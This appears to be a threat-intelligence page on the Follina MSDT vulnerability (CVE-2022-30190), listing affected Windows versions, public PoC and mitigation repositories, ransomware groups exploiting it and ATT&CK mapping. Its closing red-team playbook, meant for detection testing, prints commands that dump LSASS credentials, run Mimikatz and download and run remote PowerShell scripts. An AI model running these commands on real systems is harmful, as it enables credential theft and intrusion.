CVE-2022-30190

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 01/06 Upd 21/10

Overview

This vulnerability is a remote code execution flaw rooted in the Microsoft Support Diagnostic Tool (MSDT) component's handling of URL protocol activation. Specifically, when MSDT is invoked via a specially crafted URL protocol handler from calling applications such as Microsoft Word, improper input validation allows execution of arbitrary code. The flaw resides in the mechanism by which MSDT processes URL protocol calls, enabling exploitation through crafted protocol activation vectors.

Vulnerability Description

A remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights. Please see the MSRC Blog Entry for important information about steps you can take to protect your system from this vulnerability.

Impact

An attacker who successfully exploits this vulnerability can execute arbitrary code with the same privileges as the user running the calling application, typically a low-privileged user. This enables installation of programs, modification or deletion of data, and creation of new user accounts within the scope of user rights. Exploitation requires user interaction, such as opening a malicious document, but does not require elevated privileges or prior authentication. The resulting compromise can lead to full system control and lateral movement within a network environment.

Solution

Microsoft has released security updates addressing this vulnerability for affected Windows 10 versions, including 1809 and later. Administrators should apply the latest security patches as detailed in the Microsoft Security Response Center advisory at https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190. The advisory provides specific update packages and installation instructions. No alternative workarounds are officially recommended beyond applying the vendor-supplied patches.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant remote code execution vulnerability exists in the Microsoft Support Diagnostic Tool (MSDT) when invoked via the URL protocol from applications such as Microsoft Word. This flaw allows an attacker to execute arbitrary code under the privileges of the calling application. The exploitation of this vulnerability can occur when a user opens a specially crafted document containing a malicious link. Consequently, the attacker can perform a range of actions, including installing software, accessing, modifying, or deleting data, and creating new user accounts, all within the context of the user's permissions. This poses a substantial risk, especially in environments where users operate with elevated privileges.

The attack vector primarily involves social engineering tactics, where attackers entice users to open malicious documents. These documents may be delivered through phishing emails or hosted on compromised websites. Once the document is opened, the embedded link triggers the MSDT, leading to the execution of the attacker's code. Given the widespread use of Microsoft Office products, the potential for exploitation is vast, as many users may not be aware of the risks associated with opening unsolicited or suspicious files. The ease of access to the vulnerability through common applications makes it particularly concerning for organizations that rely on Microsoft products for daily operations.

The real-world impact of this vulnerability can be profound, especially for businesses that handle sensitive information or operate in regulated industries. Successful exploitation could lead to data breaches, loss of intellectual property, and significant financial losses due to operational disruptions. Additionally, the reputational damage resulting from a security incident can have long-lasting effects on customer trust and brand integrity. Organizations may face regulatory scrutiny and potential fines if they fail to protect sensitive data adequately. The high CVSS score of 7.8 indicates that this vulnerability poses a serious threat that should not be underestimated.

To detect and mitigate this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating software and applying security patches is crucial to protecting against known vulnerabilities. Implementing robust email filtering solutions can help reduce the likelihood of phishing attempts reaching users. Additionally, educating employees about the risks associated with opening unsolicited documents and links can significantly decrease the chances of successful exploitation. Employing endpoint protection solutions that monitor for unusual behavior can also aid in the early detection of potential exploitation attempts.

In conclusion, the remote code execution vulnerability associated with MSDT presents a significant threat to users of various Microsoft operating systems and applications. Its exploitation can lead to severe consequences for both individuals and organizations, highlighting the need for proactive security measures. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against this and similar vulnerabilities. Implementing comprehensive detection and mitigation strategies will be essential in safeguarding sensitive data and maintaining operational integrity in an increasingly complex threat landscape.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2022-30190, accompanied by the emergence of new proof-of-concept tools that automate attack chains incorporating this vulnerability. This expansion of the exploit landscape signals increased adversary interest and capability, particularly among ransomware groups such as Black Basta and Bian Lian, which continue to leverage this vulnerability in their campaigns. Although the EPSS score remains stable, the qualitative increase in detection activity and the availability of sophisticated exploitation frameworks elevate the operational risk. For defenders, this development underscores the growing likelihood of targeted attacks exploiting CVE-2022-30190, necessitating heightened vigilance despite the unchanged quantitative risk metrics. The convergence of ransomware actors with enhanced exploit tooling amplifies the threat’s potential impact on affected environments.



Update 2 — May 16, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2022-30190, evidenced by a notable surge in telemetry signals and expanded ransomware group involvement. The number of distinct ransomware actors leveraging this vulnerability has increased, indicating broader adoption within criminal ecosystems. Concurrently, new proof-of-concept exploits and automated tooling have emerged, lowering the technical barrier for threat actors to weaponize this flaw. This evolution in the exploit landscape amplifies the operational risk, as adversaries can more readily integrate CVE-2022-30190 into diverse attack chains, including ransomware campaigns linked to groups such as Black Basta and Bian Lian. Although the EPSS score remains high but stable, the qualitative indicators from our sensors suggest an elevated likelihood of targeted exploitation attempts. For defenders, this means the threat environment surrounding this vulnerability is intensifying, warranting increased monitoring and readiness despite unchanged quantitative risk metrics.

Affected Products (17)

Vendor Product Version CPE
microsoft Microsoft Windows 10 1507 All cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 1607 All cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 1809 All cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 20h2 All cpe:2.3:o:microsoft:windows_10_20h2:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 21h1 All cpe:2.3:o:microsoft:windows_10_21h1:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 10 21h2 All cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 11 21h2 All cpe:2.3:o:microsoft:windows_11_21h2:*:*:*:*:*:*:*:*
microsoft Microsoft Windows 7 N/A cpe:2.3:o:microsoft:windows_7:-:sp1:*:*:*:*:*:*
microsoft Microsoft Windows 8.1 N/A cpe:2.3:o:microsoft:windows_8.1:-:*:*:*:*:*:*:*
microsoft Microsoft Windows Rt 8.1 N/A cpe:2.3:o:microsoft:windows_rt_8.1:-:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2008 r2 cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:*:*
microsoft Microsoft Windows Server 2012 N/A cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2012 r2 cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2016 All cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2019 All cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 2022 All cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*
microsoft Microsoft Windows Server 20h2 All cpe:2.3:o:microsoft:windows_server_20h2:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Microsoft Office Word MSDTJS
exploits/windows/fileformat/word_msdtjs_rce
nao sec, mekhalleh (RAMELLA Sébastien), bwatters-r7 Unknown - View

GitHub PoCs (94)

Repository Author Stars Forks Date Link
komomon/CVE-2022-30190-follina-Office-MSDT-Fixed
CVE-2022-30190-follina.py-修改版,可以自定义word模板,方便实战中钓鱼使用。
komomon 390 52 2022-06-02 View
JMousqueton/PoC-CVE-2022-30190
POC CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
JMousqueton 157 52 2022-05-30 View
onecloudemoji/CVE-2022-30190
CVE-2022-30190 Follina POC
onecloudemoji 104 24 2022-05-31 View
doocop/CVE-2022-30190
Microsoft Office Word Rce 复现(CVE-2022-30190)
doocop 60 14 2022-05-31 View
archanchoudhury/MSDT_CVE-2022-30190
This Repository Talks about the Follina MSDT from Defender Perspective
archanchoudhury 37 10 2022-05-31 View
Hrishikesh7665/Follina_Exploiter_CLI
Exploit Microsoft Zero-Day Vulnerability Follina (CVE-2022-30190)
Hrishikesh7665 33 13 2022-06-09 View
Malwareman007/Deathnote
Proof of Concept of CVE-2022-30190
Malwareman007 38 6 2022-06-08 View
MalwareTech/FollinaExtractor
Extract payload URLs from Follina (CVE-2022-30190) docx and rtf files
MalwareTech 31 2 2022-06-15 View
0xflagplz/MS-MSDT-Office-RCE-Follina
CVE-2022-30190 | MS-MSDT Follina One Click
0xflagplz 20 12 2022-06-02 View
ErrorNoInternet/FollinaScanner
A tool written in Go that scans files & directories for the Follina exploit (CVE-2022-30190)
ErrorNoInternet 23 6 2022-06-02 View
Noxtal/follina
All about CVE-2022-30190, aka follina, that is a RCE vulnerability that affects Microsoft Support Diagnostic Tools (MSDT...
Noxtal 21 4 2022-06-03 View
dwisiswant0/gollina
Follina MS-MSDT 0-day MS Office RCE (CVE-2022-30190) PoC in Go
dwisiswant0 17 5 2022-06-01 View
aminetitrofine/CVE-2022-30190
Follina (CVE-2022-30190) is a Microsoft Office zero-day vulnerability that has recently been discovered. It’s a high-sev...
aminetitrofine 12 6 2023-05-14 View
drgreenthumb93/CVE-2022-30190-follina
Just another PoC for the new MSDT-Exploit
drgreenthumb93 8 4 2022-06-01 View
abbarhissarh/FollinaXploit
A Command Line based python tool for exploit Zero-Day vulnerability in MSDT (Microsoft Support Diagnostic Tool) also kno...
abbarhissarh 8 3 2022-11-19 View
PaddlingCode/cve-2022-30190
CVE-2022-30190 remediation via removal of ms-msdt from Windows registry
PaddlingCode 6 4 2022-05-31 View
Gra3s/CVE-2022-30190_EXP_PowerPoint
This is exploit of CVE-2022-30190 on PowerPoint.
Gra3s 8 2 2022-06-29 View
sudoaza/CVE-2022-30190
MS-MSDT Follina CVE-2022-30190 PoC document generator
sudoaza 7 2 2022-06-01 View
AbdulRKB/Follina
Remote Access Shell for Windows (based on cve-2022-30190)
AbdulRKB 5 2 2022-06-04 View
DerZiad/CVE-2022-30190
This project demonstrates a proof-of-concept exploit for CVE-2022-30190, also known as "Follina"—a critical remote code ...
DerZiad 6 1 2022-06-04 View
ItsNee/Follina-CVE-2022-30190-POC
ItsNee 6 0 2022-06-05 View
sentinelblue/CVE-2022-30190
Microsoft Sentinel analytic rule and hunting queries in ASIM for activity of MSDT and CVE-2022-30190.
sentinelblue 4 1 2022-05-31 View
Cosmo121/Follina-Remediation
Removes the ability for MSDT to run, in response to CVE-2022-30190 (Follina)
Cosmo121 4 1 2022-06-01 View
winstxnhdw/CVE-2022-30190
A proof of concept for CVE-2022-30190 (Follina).
winstxnhdw 2 2 2022-09-15 View
EkamSinghWalia/Follina-MSDT-Vulnerability-CVE-2022-30190-
Detection and Remediation of the Follina MSDT Vulnerability (CVE-2022-30190)
EkamSinghWalia 3 1 2022-07-21 View
gyaansastra/CVE-2022-30190
gyaansastra 2 2 2022-06-02 View
arozx/CVE-2022-30190
A very simple MSDT "Follina" exploit **patched**
arozx 2 2 2022-06-02 View
dsibilio/follina-spring
Server to host/activate Follina payloads & generator of malicious Word documents exploiting the MS-MSDT protocol. (CVE-2...
dsibilio 4 0 2022-06-07 View
rouben/CVE-2022-30190-NSIS
An NSIS script that helps deploy and roll back the mitigation registry patch for CVE-2022-30190 as recommended by Micros...
rouben 3 0 2022-06-01 View
SonicWave21/Follina-CVE-2022-30190-Unofficial-patch
An Unofficial Patch Follina CVE-2022-30190 (patch) by micrisoft Guidelines.
SonicWave21 2 1 2022-06-13 View
swaiist/CVE-2022-30190-Fix
swaiist 2 1 2022-06-02 View
Muhammad-Ali007/Follina_MSDT_CVE-2022-30190
Muhammad-Ali007 1 2 2023-07-17 View
Jump-Wang-111/AmzWord
An automated attack chain based on CVE-2022-30190, 163 email backdoor, and image steganography.
Jump-Wang-111 1 2 2023-11-28 View
SrikeshMaharaj/CVE-2022-30190
Follina POC by John Hammond
SrikeshMaharaj 2 0 2022-06-03 View
Zitchev/go_follina
Follina (CVE-2022-30190) proof-of-concept
Zitchev 2 0 2022-06-27 View
jeffreybxu/five-nights-at-follina-s
A Fullstack Academy Cybersecurity project examining the full cycle of the Follina (CVE-2022-30190) vulnerability, from e...
jeffreybxu 2 0 2022-08-01 View
derco0n/mitigate-folina
Mitigates the "Folina"-ZeroDay (CVE-2022-30190)
derco0n 1 1 2022-06-02 View
ethicalblue/Follina-CVE-2022-30190-Sample
Educational exploit for CVE-2022-30190
ethicalblue 0 2 2024-07-20 View
joshuavanderpoll/CVE-2022-30190
Microsoft Support Diagnostic Tool (CVE-2022-30190)
joshuavanderpoll 1 1 2022-06-07 View
gamingwithevets/msdt-disable
MSDT protocol disabler (CVE-2022-30190 patch tool)
gamingwithevets 2 0 2022-06-02 View
amitniz/follina_cve_2022-30190
proof of concept to CVE-2022-30190 (follina)
amitniz 2 0 2022-06-10 View
suenerve/CVE-2022-30190-Follina-Patch
The CVE-2022-30190-follina Workarounds Patch
suenerve 2 0 2022-06-02 View
Nyx2022/Follina-CVE-2022-30190-Sample
Educational Follina PoC Tool
Nyx2022 0 2 2022-12-12 View
rickhenderson/cve-2022-30190
Aka Follina = benign POC.
rickhenderson 1 0 2022-05-31 View
kdk2933/msdt-CVE-2022-30190
CVE-2022-30190- A Zero-Click RCE Vulnerability In MSDT
kdk2933 1 0 2022-05-31 View
IamVSM/msdt-follina
Microsoft MS-MSDT Follina (0-day Vulnerability) CVE-2022-30190 Attack Vector
IamVSM 1 0 2022-06-06 View
alienkeric/CVE-2022-30190
The script is from https://github.com/JohnHammond/msdt-follina, just make it simple for me to use it and this script ai...
alienkeric 1 0 2024-04-09 View
mitespsoc/CVE-2022-30190-POC
mitespsoc 0 1 2022-06-01 View
sentrium-security/Follina-Workaround-CVE-2022-30190
sentrium-security 0 1 2022-06-08 View
cyberdashy/CVE-2022-30190
Mitigation for CVE-2022-30190
cyberdashy 0 1 2022-06-10 View
nanaao/PicusSecurity4.Week.Repo
CVE-2022-30190 : CVE 0-day MS Offic RCE aka msdt follina
nanaao 0 1 2022-06-13 View
ToxicEnvelope/FOLLINA-CVE-2022-30190
Implementation of FOLLINA-CVE-2022-30190
ToxicEnvelope 1 0 2023-03-14 View
JotaQC/CVE-2022-30190_Temporary_Fix_Source_Code
These are the source codes of the Python scripts to apply the temporary protection against the CVE-2022-30190 vulnerabil...
JotaQC 0 1 2022-06-12 View
ernestak/CVE-2022-30190
ernestak 0 1 2022-06-14 View
ImVihanga03/Static-Malware-Analysis-Follina-CVE-2022-30190
Static Malware Analysis of Follina (CVE-2022-30190) from Blue Team Labs Online
ImVihanga03 1 0 2026-03-25 View
b401/Clickstudio-compromised-certificate
Repository containing the compromised certificate seen in recent CVE-2022-30190 (Follina) attacks.
b401 1 0 2022-06-09 View
michealadams30/Cve-2022-30190
michealadams30 1 0 2022-12-26 View
WesyHub/CVE-2022-30190---Follina---Poc-Exploit
Simple Follina poc exploit
WesyHub 0 1 2022-06-02 View
melting0256/Enterprise-Cybersecurity
CVE-2022-30190(follina)
melting0256 1 0 2022-12-29 View
ITMarcin2211/CVE-2022-30190
ITMarcin2211 1 0 2022-06-02 View
hycheng15/CVE-2022-30190
An exploitation of CVE-2022-30190 (Follina)
hycheng15 1 0 2023-05-02 View
Vaisakhkm2625/MSDT-0-Day-CVE-2022-30190-Poc
Vaisakhkm2625 0 1 2022-06-01 View
rayorole/CVE-2022-30190
CVE-2022-30190 or "Follina" 0day proof of concept
rayorole 0 1 2022-06-01 View
czabatta/THM-Tempest
TryHackMe SOC Level 1 — Follina CVE-2022-30190, Nim C2, Chisel, PrintSpoofer, backdoor accounts
czabatta 0 0 2026-06-15 View
kaleth4/CVE-2022-30190
kaleth4 0 0 2026-06-14 View
u1tr0nex/CVE-2022-30190-Follina-Lab
Full exploit chain lab and Suricata IDS detection for CVE-2022-30190 (Follina) - MSDT RCE
u1tr0nex 0 0 2026-05-08 View
shndnth/CVE-2022-30190
Educational Proof-of-Concept for the CVE-2022-30190 (Follina) vulnerability.
shndnth 0 0 2026-04-10 View
DOV3Y/CVE-2022-30190-ASR-Senintel-Process-Pickup
Picking up processes that have triggered ASR related to CVE-2022-30190
DOV3Y 0 0 2022-05-31 View
hscorpion/CVE-2022-30190
hscorpion 0 0 2022-06-01 View
ImproveCybersecurityJaro/2022_PoC-MSDT-Follina-CVE-2022-30190
Proof of Concept zu MSDT-Follina - CVE-2022-30190. ÜBERPRÜFUNG DER WIRKSAMKEIT VON MICROSOFT DEFNEDER IN DER JEWEILS AKT...
ImproveCybersecurityJaro 0 0 2022-06-01 View
castlesmadeofsand/ms-msdt-vulnerability-pdq-package
PDQ Package I created for CVE-2022-30190
castlesmadeofsand 0 0 2022-06-02 View
droidrzrlover/CVE-2022-30190
This is to patch CVE-2022-30190. Use at your own risk.
droidrzrlover 0 0 2022-06-03 View
hilt86/cve-2022-30190-mitigate
Powershell script to mitigate cve-2022-30190
hilt86 0 0 2022-06-03 View
abhirules27/Follina
Notes related to CVE-2022-30190
abhirules27 0 0 2022-06-07 View
Abdibimantara/CVE-2022-30190-Analysis-With-LetsDefends-Lab
this is my simple article about CVE 2022-30190 (Follina) analysis. I use the lab from Letsdefend.
Abdibimantara 0 0 2022-06-10 View
JotaQC/CVE-2022-30190_Temporary_Fix
These are two Python scripts compiled to easily and quickly apply temporary protection against the CVE-2022-30190 vulner...
JotaQC 0 0 2022-06-11 View
ernestak/Sigma-Rule-for-CVE-2022-30190
ernestak 0 0 2022-06-14 View
notherealhazard/follina-CVE-2022-30190
notherealhazard 0 0 2022-06-15 View
Imeneallouche/Follina-attack-CVE-2022-30190-
this is a demo attack of FOLLINA exploit , a vulnerability that has been discovered in May 2022 and stood unpatched unti...
Imeneallouche 0 0 2022-10-06 View
XxToxicScriptxX/CVE-2022-30190
Python file scanner created in 2021 scanning for known and potential vulns
XxToxicScriptxX 0 0 2022-06-13 View
aymankhder/MSDT_CVE-2022-30190-follina-
aymankhder 0 0 2022-05-31 View
tej7gandhi/CVE-2022-30190-Zero-Click-Zero-Day-in-msdt
tej7gandhi 0 0 2022-06-05 View
Potato-9257/CVE-2022-30190_page
PoC of CVE-2022-30190
Potato-9257 0 0 2025-02-07 View
seinab-ibrahim/Follina-Vulnerability-CVE-2022-30190-Exploit-Analysis
Exploration of the Follina (CVE-2022-30190) Microsoft Office vulnerability, including a detailed analysis, proof-of-conc...
seinab-ibrahim 0 0 2025-08-14 View
Arkha-Corvus/LetsDefend-SOC173-Follina-0-Day-Detected
We are presented with a security alert indicating the detection of the Follina (CVE-2022-30190) vulnerability. A malicio...
Arkha-Corvus 0 0 2025-10-18 View
Cerebrovinny/follina-CVE-2022-30190
follina zero day vulnerability to help Microsoft to mitigate the attack
Cerebrovinny 0 0 2022-06-15 View
2867a0/CVE-2022-30190
2867a0 0 0 2022-05-31 View
yrkuo/CVE-2022-30190
yrkuo 0 0 2023-02-13 View
shri142/ZipScan
A tool written in Go that scans files & directories for the Follina exploit (CVE-2022-30190)
shri142 0 0 2024-02-17 View
RathoreAbhiii/Folina-Vulnerability-Exploitation-Detection-and-Mitigation
Project Repository for Exploitation, Detection and Mitigation of Folina Vulnerability (CVE-2022-30190)
RathoreAbhiii 0 0 2025-04-08 View
mattjmillner/CVE-Smackdown
Implementation of CVE-2022-30190 in C
mattjmillner 0 0 2022-11-10 View
yeep1115/ICT287_CVE-2022-30190_Exploit
Project on CVE-2022-30190 exploitation and mitigation strategies
yeep1115 0 0 2025-03-02 View
nimesh895/Malware-Analysis-Follina-CVE-2022-30190
nimesh895 0 0 2026-01-21 View
bcarrulo/Lab-CVE-2022-30190
bcarrulo 0 0 2026-02-28 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Ransomware Groups 1

blackbasta
CONFIRMED
523 victims
ransomware.live
2026-06-25

Threat Feed

27 events
2026-07-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-25
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-15
Exploited by nokoyawa

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Cobalt Strike, FileZilla, PsExec (36 known victims)

2026-05-15
Exploited by underground

Ransomware group known to exploit this vulnerability (26 known victims)

2026-05-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by bianlian

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AmmyyAdmin, AnyDesk, Atera (552 known victims)

2026-04-05
Exploited by blackbasta

Ransomware group known to exploit this vulnerability. Tools: AdFind, AnyDesk, Atera, BITSAdmin, Backstab (Process Explorer driver) (523 known victims)

2026-04-05
Exploited by BrainCipher

Ransomware group known to exploit this vulnerability (62 known victims)

2026-04-05
Exploited by Iranian IRGC Data Extortion Operations

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN12

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by bian lian

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Vice Society

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Dragonfly

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by MuddyWater

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by Magic Hound

Ransomware group known to exploit this vulnerability

2026-04-05
Exploited by FIN7

Ransomware group known to exploit this vulnerability

2026-04-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-06-14
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2022-05-30
PoC Published (94 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2022-05-29
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
76% rce
OS Command Injection
61% command_injection
Code Injection
57% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.005 Scheduled Task Kill Chain execution, persistence, privilege-escalation Windows
T1059.001 PowerShell Kill Chain execution Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

76 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD)
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell)
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD)
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD)
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell)
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD)
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell)
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell)
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD)
"#{venv_path}\Scripts\pypykatz" live lsa 
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD)
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell)
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD)
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
